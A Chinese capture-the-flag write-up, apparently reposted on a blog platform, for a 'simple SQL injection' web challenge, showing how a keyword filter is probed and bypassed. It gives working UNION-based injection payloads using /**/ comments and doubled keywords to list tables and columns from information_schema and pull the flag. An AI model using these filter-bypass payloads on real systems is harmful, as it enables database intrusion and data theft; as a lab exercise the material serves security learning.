实验吧web-中-简单的sql注入

页面显示:到底过滤了什么东西?

所以我们先试试到底是过滤了什么

1  显示正常
1' 不正常
(直接输入的关键字均会被过滤)
1 union select  显示:1 select
1 union select table_name  显示:1 table_name
1 unionunion select  显示:1 unionselect
1 unionunion select table_name  显示:1 uniontable_name

我们可以发现会过滤掉关键字,但是好像只能过滤掉后面有空格的关键字(会将其后面的空格一并过滤掉)

于是我们可以想办法绕过这个空格:

策略一:用++或/**/绕过(较简单,因为这样关键字不会被过滤)

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

后面单独的'用了闭合掉一个'号

 最下面看到flag表,于是再用1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag   却发现column_name和information_schema.columns被过滤掉了

所以用:1'/**/union/**/select/**/columncolumn_name_name/**/from/**/informationinformation_schema.columns_schema.columns/**/where/**/table_name='flag  得到

 得到flag这个column,再查找其内容:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

就拿到flag了。

策略二:双写加双空格绕过(用的上面的图)

1.首先,暴表:1' unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  '1'='1

 2.爆字段:这个和上面一样有过滤

1' unionunion  selectselect  columncolumn_name_name  fromfrom  information_schemainformation_schema.columns.columns  wherewhere  table_name='flag

 3.爆内容:1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1

就拿到flag了。

转载于:https://www.cnblogs.com/RenoStudio/p/10355148.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值